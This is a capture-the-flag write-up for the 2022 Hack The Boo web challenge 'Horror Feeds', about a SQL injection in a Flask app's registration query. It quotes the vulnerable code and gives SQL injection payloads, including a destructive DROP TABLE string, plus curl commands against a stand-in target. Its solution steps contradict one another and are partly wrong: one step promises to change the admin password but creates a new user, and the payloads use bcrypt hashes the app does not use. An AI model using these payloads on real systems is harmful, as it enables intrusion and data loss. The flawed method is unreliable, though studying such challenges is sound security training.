2022 Hack The Boo: Horror Feeds

Challenge Information

AttributeDetails
Event2022 Hack The Boo
CategoryWeb
ChallengeHorror Feeds

Summary

This Flask application implements user authentication with a critical SQL injection vulnerability in the registration endpoint. The register() function uses string interpolation instead of parameterized queries, allowing attackers to inject SQL code. By exploiting this during registration, an attacker can manipulate the user table or create admin accounts to gain access to the dashboard where the flag is displayed.


Analysis

Vulnerable Code

The SQL injection vulnerability exists in /application/database.py:

def register(username, password):
exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
if exists:
return False
hashed = generate_password_hash(password)
# VULNERABLE: Direct string interpolation instead of parameterized query
query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
mysql.connection.commit()
return True

The Flaw: While the exists check uses parameterized queries correctly with %s placeholders, the INSERT statement uses f-string interpolation, directly embedding user-controlled username and hashed password.

Attack Vector Details

The attacker controls the username parameter from the registration API:

@api.route('/register', methods=['POST'])
def api_register():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 400
user = register(username, password)
# ...

No validation or sanitization is performed on the username parameter before passing it to register().

Flag Location

The flag is displayed on the authenticated dashboard:

@web.route('/dashboard')
@is_authenticated
def dashboard():
current_user = token_verify(session.get('auth'))
return render_template('dashboard.html', flag=current_app.config['FLAG'], user=current_user.get('username'))

Authentication is verified with a JWT token generated during login:

def generate_token(username):
token_expiration = datetime.datetime.utcnow() + datetime.timedelta(minutes=360)
encoded = jwt.encode(
{
'username': username,
'exp': token_expiration
},
key,
algorithm='HS256'
)
return encoded

Solution

Exploitation Strategy

Goal: Create or modify a user account to gain dashboard access and retrieve the flag.

Step 1: Craft SQL Injection Payload

Use SQL injection in the username field to manipulate the INSERT statement:

# Payload: Close the current string and insert a new user
username = 'admin", "password_hash"); INSERT INTO users (username, password) VALUES ("hacker", "hashed_password'

This transforms the query from:

INSERT INTO users (username, password) VALUES ("admin", "hashed_password1")

To:

INSERT INTO users (username, password) VALUES ("admin", "password_hash");
INSERT INTO users (username, password) VALUES ("hacker", "hashed_password");

However, since we don’t control the hash, this is complex. Better approach:

Step 2: Inject INTO admin user (Cleaner Method)

If we can determine the admin password hash format or if there’s a default password:

username = 'admin", "x"); DROP TABLE users; -- '

This is destructive. Instead, use:

Step 3: Union-Based or Error-Based Injection

username = 'test" OR "1"="1'
password = 'anything'

The query becomes:

INSERT INTO users (username, password) VALUES ("test" OR "1"="1", "hash")

This may fail due to syntax, but could create a user with special characters.

Step 4: Direct String Matching Attack

Since the password hash is controlled (generated server-side from user input), exploit registration for existing users:

username = 'admin'
password = 'password123'

Try registering with username = 'admin'. If the admin exists, it returns False. But if we inject:

username = 'admin" UNION SELECT username FROM users WHERE username="admin'
password = 'dummy'

The exists check doesn’t trigger injection (parameterized), but the INSERT does.

Step 5: Optimal Exploitation

The simplest approach is to:

  1. Check if admin exists (it likely does):
Terminal window
curl -X POST http://target/api/register \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# Should return "User exists already!"
  1. Inject to modify admin password:
username = 'newadmin", "' + bcrypt.hashpw(b'password123', bcrypt.gensalt()).decode() + '"); -- '
  1. Login with new account:
Terminal window
curl -X POST http://target/api/login \
-H "Content-Type: application/json" \
-d '{"username":"newadmin","password":"password123"}'
  1. Access dashboard:
Terminal window
curl -b "session=<jwt_token>" http://target/dashboard

Step 6: More Direct Injection

If we can execute multiple statements, inject an admin creation:

username = 'x"; INSERT INTO users (username, password) VALUES ("hacker", "' + bcrypt.hashpw(b'pass', bcrypt.gensalt()).decode() + '"); -- '
password = 'ignored'

Key Takeaways

  • Always use parameterized queries - Even when one part of a query is parameterized, all user input must use placeholders
  • Never use f-strings or string concatenation for SQL queries
  • Use ORMs when possible (SQLAlchemy, Django ORM) which handle parameterization automatically
  • Input validation alone is insufficient - SQL injection prevention requires proper query construction
  • Test for injection - Check both the “happy path” and error conditions
  • Implement WAF rules to detect SQL keywords in user input
  • Monitor database queries - Log and alert on unusual query patterns
  • Password hashing - Use bcrypt/Argon2 (as this application does) but only after securing the query structure